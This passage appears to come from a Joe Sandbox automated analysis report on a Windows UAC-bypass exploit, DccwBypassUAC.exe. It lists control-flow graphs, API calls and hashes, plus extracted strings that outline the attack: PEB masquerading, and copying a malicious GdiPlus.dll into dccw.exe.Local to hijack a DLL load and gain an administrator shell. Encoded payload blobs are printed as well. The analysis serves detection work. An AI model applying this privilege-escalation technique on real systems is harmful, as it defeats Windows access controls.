7ff6fe424970 144->153 200 7ff6fe423a36-7ff6fe423a3f call 7ff6fe424970 147->200 160 7ff6fe423890-7ff6fe423897 148->160 149->107 165 7ff6fe4238eb-7ff6fe4238ee 149->165 162 7ff6fe4237e0 call 7ff6fe424a70 151->162 163 7ff6fe4237c4-7ff6fe4237d7 151->163 152->13 153->200 166 7ff6fe423985-7ff6fe42398c 154->166 155->150 159 7ff6fe4239e0-7ff6fe4239e3 155->159 159->166 170 7ff6fe4239e5-7ff6fe4239e8 159->170 171 7ff6fe423899-7ff6fe4238a0 160->171 172 7ff6fe4238fc call 7ff6fe424aa4 160->172 162->152 163->162 174 7ff6fe4237d9-7ff6fe4237df _invalid_parameter_noinfo_noreturn 163->174 165->160 177 7ff6fe4238f0-7ff6fe4238f3 165->177 178 7ff6fe42398e-7ff6fe423995 166->178 179 7ff6fe4239f1 call 7ff6fe424aa4 166->179 167->139 168->167 187 7ff6fe423ad3-7ff6fe423ad9 _invalid_parameter_noinfo_noreturn 168->187 181 7ff6fe4239f6-7ff6fe423a10 memcpy 170->181 171->107 182 7ff6fe4238a6-7ff6fe4238b4 call 7ff6fe424aa4 171->182 185 7ff6fe423901-7ff6fe42391b memcpy 172->185 174->162 177->185 178->150 180 7ff6fe42399b-7ff6fe4239a9 call 7ff6fe424aa4 178->180 179->181 202 7ff6fe4239ab-7ff6fe4239b7 180->202 203 7ff6fe4239ea-7ff6fe4239f0 _invalid_parameter_noinfo_noreturn 180->203 181->153 206 7ff6fe4238b6-7ff6fe4238c2 182->206 207 7ff6fe4238f5-7ff6fe4238fb _invalid_parameter_noinfo_noreturn 182->207 185->147 191 7ff6fe423ada-7ff6fe423ae0 call 7ff6fe424a70 187->191 204 7ff6fe423ae5 191->204 200->204 209 7ff6fe423a45-7ff6fe423a4d 200->209 202->181 203->179 204->32 206->185 207->172 210 7ff6fe423aab-7ff6fe423abc 209->210 211 7ff6fe423a4f 209->211 210->191 213 7ff6fe423abe-7ff6fe423ad1 210->213 212 7ff6fe423a53-7ff6fe423a5a 211->212 214 7ff6fe423a5c-7ff6fe423a6f 212->214 215 7ff6fe423a8e-7ff6fe423aa9 212->215 213->187 213->191 216 7ff6fe423a89 call 7ff6fe424a70 214->216 217 7ff6fe423a71-7ff6fe423a84 214->217 215->210 215->212 216->215 217->187 218 7ff6fe423a86 217->218 218->216
                                                                      APIs
                                                                      Strings
                                                                      Memory Dump Source
                                                                      • Source File: 00000005.00000002.2150140450.00007FF6FE421000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6FE420000, based on PE: true
                                                                      • Associated: 00000005.00000002.2150100642.00007FF6FE420000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150159219.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150178541.00007FF6FE435000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150201679.00007FF6FE44E000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_5_2_7ff6fe420000_DccwBypassUAC.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: Open_errnowcstol
                                                                      • String ID: > DccwBypassUAC.exe$ [!] Damn! The UAC level is set to "Always notify"!$ [!] Damn! The user does not belong to Administrators group!$ [!] You already have Administrator rights! There is no need to execute the script ;)$ [+] Creating temporary folders...$ [+] Extracting the malicious DLL..$ [+] Great! The exploit has been successful!$ [+] Masquerading the PEB...$ [+] Removing all the temporal files and folders...$ [+] Starting dccw.exe (cross the fingers and wait to get an Administrator shell)...$ [+] Stopping the execution...$ [+] Using the IFileOperation::CopyItem method to copy the malicious "GdiPlus.dll"...$ [-] Error! Cannot extract the malicious DLL!$ [-] Error! The IFileOperation::CopyItem operation has failed!$ [-] Error! The exploit has not worked as expected!$ [-] Error! This exploit does not support arguments. Execute it as follows:$ [-] Error! Windows version not suported!$%s%s$/GBH3IULiI6X9qF+NQ8hAAf3CMmyQXkpOfHVdLoYMGHgBOOMk9wTcSOTd3GDdzX1gHxfoljCv0IU+8pzPdaA8k94YHkONLjqTFu9p2Zj78jYTAjN67r2ZaBnGRUTGiQfQNwXEbFKMdKZ4CalwdG3ySnWD/bqWNEQ4wCGkYHQv1MB/1C1KkaE9N5XX2IsyVefVJPNY3g8bRYvQCD1q04/lAFH3bKrRnJFPW1l0RrDNfzee6uxrzEJrcWaah+YR55ZBihv$C:\Windows\System32\dccw.exe$C:\Windows\System32\dccw.exe.Local$ClHlwBgA5AUAJgEAAAAAAAAAAQAAAAAAWncAAJEp0QKE65u4NsEdTsDoiGY2BXqQE0fQPm8Ae8Qr7A51wOv+TRe+FKjXH69t6BsDfomqjWj4yeIgq7rBBuqjoStYNsOpNOeyltHSE8DLVi+bqfqupsvf/B1+cPjN+B6fRwdz7OeYdjG8PnYEaWi/G4UYiMelrO2Ffs3C1w7O4Xp32Soc+5cesJ6XIg2lAUDRlscVJaSyrL5QOh02qS6lnZ4EQ68OmNr+$\GdiPlus.dll$\dccw.exe.Local$dccw.exe.Local
                                                                      • API String ID: 161766886-1119078403
                                                                      • Opcode ID: 265cfdbae575f87b8a4f96b3c8e3d716498b99e96c16aeebf47539692dd16053
                                                                      • Instruction ID: 5fd173c6e50660b850ac840b97c153791d832a65eb58d3401cf8fa7f4c47a5d9
                                                                      • Opcode Fuzzy Hash: 265cfdbae575f87b8a4f96b3c8e3d716498b99e96c16aeebf47539692dd16053
                                                                      • Instruction Fuzzy Hash: 45423A62F18A4385EB10DB61E4542BD2AB1ABF47A4F504679FA7ED2AD5EF3CE444C300
                                                                      Function 00007FF6FE421CB0 Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 341registryCOMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 220 7ff6fe421cb0-7ff6fe421d5e call 7ff6fe423ed0 * 2 RegOpenKeyExW 225 7ff6fe421e75-7ff6fe421ea4 RegQueryValueExW 220->225 226 7ff6fe421d64-7ff6fe421d79 call 7ff6fe424970 220->226 228 7ff6fe421ea6-7ff6fe421ec5 RegCloseKey call 7ff6fe424970 225->228 229 7ff6fe421f01-7ff6fe421f05 225->229 236 7ff6fe421d80-7ff6fe421daa 226->236 241 7ff6fe421ed0-7ff6fe421efa 228->241 230 7ff6fe421f07-7ff6fe421f26 RegCloseKey call 7ff6fe424970 229->230 231 7ff6fe421f61-7ff6fe421fc1 call 7ff6fe423da0 RegQueryValueExW 229->231 243 7ff6fe421f30-7ff6fe421f5a 230->243 244 7ff6fe421fc7-7ff6fe421fdd RegCloseKey call 7ff6fe424970 231->244 245 7ff6fe422076-7ff6fe422097 RegCloseKey 231->245 236->236 240 7ff6fe421dac-7ff6fe421dc4 call 7ff6fe424540 236->240 256 7ff6fe421dc6-7ff6fe421ddc 240->256 257 7ff6fe421dfc-7ff6fe421e15 240->257 241->241 242 7ff6fe421efc 241->242 242->229 243->243 247 7ff6fe421f5c 243->247 267 7ff6fe421fe2-7ff6fe42200c 244->267 248 7ff6fe42212b-7ff6fe422152 245->248 249 7ff6fe42209d-7ff6fe4220a0 245->249 247->231 252 7ff6fe42218d-7ff6fe4221a6 248->252 253 7ff6fe422154-7ff6fe42216a 248->253 254 7ff6fe4220a3-7ff6fe4220a7 249->254 258 7ff6fe421e4d-7ff6fe421e74 call 7ff6fe424a50 252->258 259 7ff6fe4221ac-7ff6fe4221c2 252->259 263 7ff6fe422188 call 7ff6fe424a70 253->263 264 7ff6fe42216c-7ff6fe42217f 253->264 265 7ff6fe4220a9-7ff6fe4220b1 254->265 266 7ff6fe4220b5-7ff6fe4220b8 254->266 260 7ff6fe421df7 call 7ff6fe424a70 256->260 261 7ff6fe421dde-7ff6fe421df1 256->261 257->258 262 7ff6fe421e17-7ff6fe421e2d 257->262 270 7ff6fe421e48 call 7ff6fe424a70 259->270 271 7ff6fe4221c8-7ff6fe4221db 259->271 260->257 261->260 272 7ff6fe422181-7ff6fe422187 _invalid_parameter_noinfo_noreturn 261->272 262->270 274 7ff6fe421e2f-7ff6fe421e42 262->274 263->252 264->263 264->272 265->254 277 7ff6fe4220b3 265->277 266->248 268 7ff6fe4220ba-7ff6fe4220c4 266->268 267->267 269 7ff6fe42200e-7ff6fe422026 call 7ff6fe424540 267->269 268->248 278 7ff6fe4220c6-7ff6fe4220c9 268->278 286 7ff6fe422028-7ff6fe42203e 269->286 287 7ff6fe422061-7ff6fe42206d 269->287 270->258 271->270 280 7ff6fe4221e1-7ff6fe4221e7 _invalid_parameter_noinfo_noreturn 271->280 272->263 274->270 274->280 277->248 283 7ff6fe4220cb-7ff6fe4220df 278->283 284 7ff6fe4220e1-7ff6fe4220f0 278->284 283->248 288 7ff6fe42211f-7ff6fe422126 call 7ff6fe424090 284->288 289 7ff6fe4220f2-7ff6fe422109 284->289 290 7ff6fe42205c call 7ff6fe424a70 286->290 291 7ff6fe422040-7ff6fe422053 286->291 287->245 288->248 292 7ff6fe42210b-7ff6fe422111 289->292 293 7ff6fe422114-7ff6fe42211d 289->293 290->287 291->290 295 7ff6fe422055-7ff6fe42205b _invalid_parameter_noinfo_noreturn 291->295 292->293 293->248 295->290
                                                                      APIs
                                                                        • Part of subcall function 00007FF6FE423ED0: memcpy.VCRUNTIME140(?,00000001,?,00007FF6FE42157F), ref: 00007FF6FE423F16
                                                                        • Part of subcall function 00007FF6FE423ED0: memcpy.VCRUNTIME140(?,00000001,?,00007FF6FE42157F), ref: 00007FF6FE423FCD
                                                                        • Part of subcall function 00007FF6FE423ED0: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6FE423FF5
                                                                      • RegOpenKeyExW.KERNELBASE ref: 00007FF6FE421D56
                                                                      • RegQueryValueExW.KERNELBASE ref: 00007FF6FE421E9C
                                                                      • RegCloseKey.ADVAPI32 ref: 00007FF6FE421F0B
                                                                      • RegQueryValueExW.KERNELBASE ref: 00007FF6FE421FB5
                                                                      • RegCloseKey.ADVAPI32 ref: 00007FF6FE421FC7
                                                                      • RegCloseKey.ADVAPI32 ref: 00007FF6FE421EAA
                                                                        • Part of subcall function 00007FF6FE424970: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00000001,?,00007FF6FE421820), ref: 00007FF6FE424998
                                                                        • Part of subcall function 00007FF6FE424970: __stdio_common_vfwprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00000001,?,00007FF6FE421820), ref: 00007FF6FE4249B7
                                                                      • _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6FE422055
                                                                      • RegCloseKey.KERNELBASE ref: 00007FF6FE422076
                                                                      • _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6FE422181
                                                                      • _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6FE4221E1
                                                                      Strings
                                                                      Memory Dump Source
                                                                      • Source File: 00000005.00000002.2150140450.00007FF6FE421000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6FE420000, based on PE: true
                                                                      • Associated: 00000005.00000002.2150100642.00007FF6FE420000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150159219.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150178541.00007FF6FE435000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150201679.00007FF6FE44E000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_5_2_7ff6fe420000_DccwBypassUAC.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: Close$_invalid_parameter_noinfo_noreturn$QueryValuememcpy$Concurrency::cancel_current_taskOpen__acrt_iob_func__stdio_common_vfwprintf
                                                                      • String ID: [-] Error! The Windows build number cannot be determined! Trying the default one...$CurrentBuild$SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                                                      • API String ID: 2142636815-1598372399
                                                                      • Opcode ID: 2c6827886206aff708c1fd9bd53ec8e126728d9010188852b63374bd9033a4de
                                                                      • Instruction ID: 65c3861746480ffce95f0d27e45511f2013af0589296b22d3f6c90803e707a15
                                                                      • Opcode Fuzzy Hash: 2c6827886206aff708c1fd9bd53ec8e126728d9010188852b63374bd9033a4de
                                                                      • Instruction Fuzzy Hash: BBE19F62F18A4385FB00DBB8D4512AC2771EBF4798F40423AEA6DD7AD8EF38A545C344
                                                                      Function 00007FF6FE424BCC Relevance: 10.6, APIs: 7, Instructions: 94COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 00000005.00000002.2150140450.00007FF6FE421000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6FE420000, based on PE: true
                                                                      • Associated: 00000005.00000002.2150100642.00007FF6FE420000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150159219.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150178541.00007FF6FE435000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150201679.00007FF6FE44E000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_5_2_7ff6fe420000_DccwBypassUAC.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: __p___argc__p___wargv__scrt_release_startup_lock_cexit_exit_get_initial_wide_environment_register_thread_local_exe_atexit_callback
                                                                      • String ID:
                                                                      • API String ID: 4175489284-0
                                                                      • Opcode ID: f91b452b5ab88b0f89730cd316de1e267894ecbb8abe46f8b22c3578422e99b0
                                                                      • Instruction ID: 63b0643f665709027512073beab00e07b7736fc929d59302a702d3954243c207
                                                                      • Opcode Fuzzy Hash: f91b452b5ab88b0f89730cd316de1e267894ecbb8abe46f8b22c3578422e99b0
                                                                      • Instruction Fuzzy Hash: 71312721E0820382FB14AF65A4513B91A91AFF5784F94403CFA7DCB6D7FE6CA8058752
                                                                      Function 00007FF6FE424970 Relevance: 3.0, APIs: 2, Instructions: 25COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      APIs
                                                                      • __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00000001,?,00007FF6FE421820), ref: 00007FF6FE424998
                                                                      • __stdio_common_vfwprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00000001,?,00007FF6FE421820), ref: 00007FF6FE4249B7
                                                                      Memory Dump Source
                                                                      • Source File: 00000005.00000002.2150140450.00007FF6FE421000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6FE420000, based on PE: true
                                                                      • Associated: 00000005.00000002.2150100642.00007FF6FE420000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150159219.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150178541.00007FF6FE435000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150201679.00007FF6FE44E000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_5_2_7ff6fe420000_DccwBypassUAC.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: __acrt_iob_func__stdio_common_vfwprintf
                                                                      • String ID:
                                                                      • API String ID: 2770507963-0
                                                                      • Opcode ID: 0d3c20f03279ffd25593c0d49794a0e8c3bcfca20a766f6660622ee82c10b95d
                                                                      • Instruction ID: 0fcc0fb27c79948575d81a94e8a7b91c03177d1c4037f400d72da84e331e8ec5
                                                                      • Opcode Fuzzy Hash: 0d3c20f03279ffd25593c0d49794a0e8c3bcfca20a766f6660622ee82c10b95d
                                                                      • Instruction Fuzzy Hash: DFE01C72A08B8181E7109B51F90449ABB64FBE8BD5F008139FF9C83BA5DF3CC5A58B40

                                                                      Non-executed Functions

                                                                      Function 00007FF6FE4211C0 Relevance: 49.2, APIs: 22, Strings: 6, Instructions: 178libraryloaderCOMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      APIs
                                                                      Strings
                                                                      Memory Dump Source
                                                                      • Source File: 00000005.00000002.2150140450.00007FF6FE421000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6FE420000, based on PE: true
                                                                      • Associated: 00000005.00000002.2150100642.00007FF6FE420000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150159219.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150178541.00007FF6FE435000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150201679.00007FF6FE44E000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_5_2_7ff6fe420000_DccwBypassUAC.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: Process$HandleModule$AddressMemoryProcRead$_wcsicmp$CloseCurrentDirectoryFileNameOpenWindowsmallocwcscat_swcscpy_s
                                                                      • String ID: NtQueryInformationProcess$RtlEnterCriticalSection$RtlInitUnicodeString$RtlLeaveCriticalSection$\explorer.exe$ntdll.dll
                                                                      • API String ID: 158188363-3676541911
                                                                      • Opcode ID: ff9ac90f1fb4d9a67051b61a6035b179d9e5d215af6d0ab37d57a1344eae8da0
                                                                      • Instruction ID: b98c5cfa4f06ad2a163c17f9ba2e5d8ad7195fa61093509e68d32525f7df7338
                                                                      • Opcode Fuzzy Hash: ff9ac90f1fb4d9a67051b61a6035b179d9e5d215af6d0ab37d57a1344eae8da0
                                                                      • Instruction Fuzzy Hash: 65814121B19A8381EB50CB16E8505BA6B60FFE4B84F40107AED5EC77A8EF3CE545C740
                                                                      Function 00007FF6FE421A60 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127memoryCOMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      APIs
                                                                      Strings
                                                                      Memory Dump Source
                                                                      • Source File: 00000005.00000002.2150140450.00007FF6FE421000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6FE420000, based on PE: true
                                                                      • Associated: 00000005.00000002.2150100642.00007FF6FE420000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150159219.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150178541.00007FF6FE435000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150201679.00007FF6FE44E000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_5_2_7ff6fe420000_DccwBypassUAC.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: Token$ErrorFreeGlobalInformationLastProcess$AccountAllocAllocateCurrentEqualInitializeLookupOpenwcscpy_s
                                                                      • String ID: [-] Error! Cannot check if the current user belongs to the Administrators group! Let's suppose it belongs...$NONE_MAPPED
                                                                      • API String ID: 336569970-1500385249
                                                                      • Opcode ID: 1be69f4eacbddda2e2fc9067c83dd8325a489b33e63b1184f7015efe271df21f
                                                                      • Instruction ID: c7c7774ee947e9003e32ee114211b89386b4858acce3e83898fc79a06420ac1a
                                                                      • Opcode Fuzzy Hash: 1be69f4eacbddda2e2fc9067c83dd8325a489b33e63b1184f7015efe271df21f
                                                                      • Instruction Fuzzy Hash: 44512535A08B8286E720CF11E44466ABBA5FBE4784F40413AEA9DC7B94EF3CE545CF40
                                                                      Function 00007FF6FE425280 Relevance: 13.6, APIs: 9, Instructions: 71COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 00000005.00000002.2150140450.00007FF6FE421000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6FE420000, based on PE: true
                                                                      • Associated: 00000005.00000002.2150100642.00007FF6FE420000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150159219.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150178541.00007FF6FE435000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150201679.00007FF6FE44E000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_5_2_7ff6fe420000_DccwBypassUAC.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                                                      • String ID:
                                                                      • API String ID: 313767242-0
                                                                      • Opcode ID: d9d1359d71b9f3313280ce31c810075c85482f7f1f6b77102a40596415a8a007
                                                                      • Instruction ID: 9104174facd481209e59cdf1460f65caa0b70325a26c6ebb4c8d5a65bcb5661d
                                                                      • Opcode Fuzzy Hash: d9d1359d71b9f3313280ce31c810075c85482f7f1f6b77102a40596415a8a007
                                                                      • Instruction Fuzzy Hash: 56311A72609B8286EB60CF60E8403E97764FBA4744F44403AEA5E87BD9EF7CD548C710
                                                                      Function 00007FF6FE425160 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 00000005.00000002.2150140450.00007FF6FE421000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6FE420000, based on PE: true
                                                                      • Associated: 00000005.00000002.2150100642.00007FF6FE420000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150159219.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150178541.00007FF6FE435000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150201679.00007FF6FE44E000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_5_2_7ff6fe420000_DccwBypassUAC.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                                                      • String ID:
                                                                      • API String ID: 2933794660-0
                                                                      • Opcode ID: 8149440e3c30beea6eebadd26614a6b0d638685331e7862c7c4c7ca6f8914beb
                                                                      • Instruction ID: c67cd9d96bd64d8d029282c1da503bad3913a73d6f2b4a06fd083fe19e44b8fe
                                                                      • Opcode Fuzzy Hash: 8149440e3c30beea6eebadd26614a6b0d638685331e7862c7c4c7ca6f8914beb
                                                                      • Instruction Fuzzy Hash: 4D111C26B14B068AEB00CF60E8552B937A4FB69758F440A35EA7D877A4EF7CE1548380
                                                                      Function 00007FF6FE425424 Relevance: .0, Instructions: 2COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000005.00000002.2150140450.00007FF6FE421000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6FE420000, based on PE: true
                                                                      • Associated: 00000005.00000002.2150100642.00007FF6FE420000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150159219.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150178541.00007FF6FE435000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150201679.00007FF6FE44E000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_5_2_7ff6fe420000_DccwBypassUAC.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 0fd8a52d8a9f3dd30800d34deb6d1c130c772d11a087da92d9d0558f83a4fe12
                                                                      • Instruction ID: 07bc3ff6e1eb5b933017cb988b0c59d6d69e48d52888510e34b4af15f5820a86
                                                                      • Opcode Fuzzy Hash: 0fd8a52d8a9f3dd30800d34deb6d1c130c772d11a087da92d9d0558f83a4fe12
                                                                      • Instruction Fuzzy Hash: 71A00121D19843A0E7048B05A954170AA64ABB0302B910079E06EC90A2AE2CB5109301
                                                                      Function 00007FF6FE421840 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 156COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      APIs
                                                                      Strings
                                                                      Memory Dump Source
                                                                      • Source File: 00000005.00000002.2150140450.00007FF6FE421000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6FE420000, based on PE: true
                                                                      • Associated: 00000005.00000002.2150100642.00007FF6FE420000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150159219.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150178541.00007FF6FE435000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150201679.00007FF6FE44E000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_5_2_7ff6fe420000_DccwBypassUAC.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: CreateDirectory_invalid_parameter_noinfo_noreturn$FileFindFirst
                                                                      • String ID: $ [+] Stopping the execution...$ [-] Error! Cannot get the targeted directories!$C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_*$dccw.exe.Local
                                                                      • API String ID: 985220766-2393996834
                                                                      • Opcode ID: 776fc5d9c1884a954829023f3c62d68c5b7ad03226a6eef2c2a11088971de718
                                                                      • Instruction ID: 065a0c6055d78f610d8163b6b36de0500d86887afd0baeef2d2b1ab122064df3
                                                                      • Opcode Fuzzy Hash: 776fc5d9c1884a954829023f3c62d68c5b7ad03226a6eef2c2a11088971de718
                                                                      • Instruction Fuzzy Hash: 09519222B1468281EB109B25E44426D6B61FBE4FA4F14423AEA7DD7BD8EF3CD481C700
                                                                      Function 00007FF6FE4221F0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 107registryCOMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      APIs
                                                                      Strings
                                                                      Memory Dump Source
                                                                      • Source File: 00000005.00000002.2150140450.00007FF6FE421000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6FE420000, based on PE: true
                                                                      • Associated: 00000005.00000002.2150100642.00007FF6FE420000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150159219.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150178541.00007FF6FE435000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150201679.00007FF6FE44E000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_5_2_7ff6fe420000_DccwBypassUAC.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: Close_invalid_parameter_noinfo_noreturnmemcpy$Concurrency::cancel_current_taskOpenQueryValue
                                                                      • String ID: [-] Error! The UAC level cannot be determined! Trying the default one...$ConsentPromptBehaviorAdmin$SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
                                                                      • API String ID: 2054459778-1055123216
                                                                      • Opcode ID: deb23e53a1bd9de9279348d2c97a0189bcd94f9d35813484d005f274930a1c2c
                                                                      • Instruction ID: ef74a6f3253d380198eb965d3ac4d5b223e936cbea27db8436f51ebfa83ce152
                                                                      • Opcode Fuzzy Hash: deb23e53a1bd9de9279348d2c97a0189bcd94f9d35813484d005f274930a1c2c
                                                                      • Instruction Fuzzy Hash: 67517E72F14A8399EB10CF34D4413AD2761EBE8798F405279FA6C96AD9EF38E644C704
                                                                      Function 00007FF6FE424090 Relevance: 6.1, APIs: 4, Instructions: 121COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      APIs
                                                                      • memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,00007FF6FE424861), ref: 00007FF6FE424193
                                                                      • _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,00000000,00007FF6FE424861), ref: 00007FF6FE4241E3
                                                                      • memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,00007FF6FE424861), ref: 00007FF6FE4241ED
                                                                      • Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6FE424235
                                                                      Memory Dump Source
                                                                      • Source File: 00000005.00000002.2150140450.00007FF6FE421000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6FE420000, based on PE: true
                                                                      • Associated: 00000005.00000002.2150100642.00007FF6FE420000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150159219.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150178541.00007FF6FE435000.00000004.00000001.01000000.00000008.sdmpDownload File
